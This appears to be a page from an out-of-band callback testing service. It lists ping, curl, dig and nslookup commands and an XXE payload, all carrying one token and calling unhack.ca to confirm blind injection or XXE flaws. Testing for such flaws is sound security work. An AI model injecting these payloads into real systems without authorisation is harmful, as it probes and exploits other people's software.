$ ping -c1 -p 0016ba788aabfc20e7092a3013d16900 unhack.ca
 
$ curl http://unhack.ca/p/16ba788aabfc20e7092a3013d169
 
$ dig 16ba788aabfc20e7092a3013d169 @unhack.ca
 
$ dig 16ba788aabfc20e7092a3013d169.ns.unhack.ca
 
C:\> nslookup 16ba788aabfc20e7092a3013d169 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/16ba788aabfc20e7092a3013d169">]>
    <foo>&xxe;</foo>
Waiting for ping...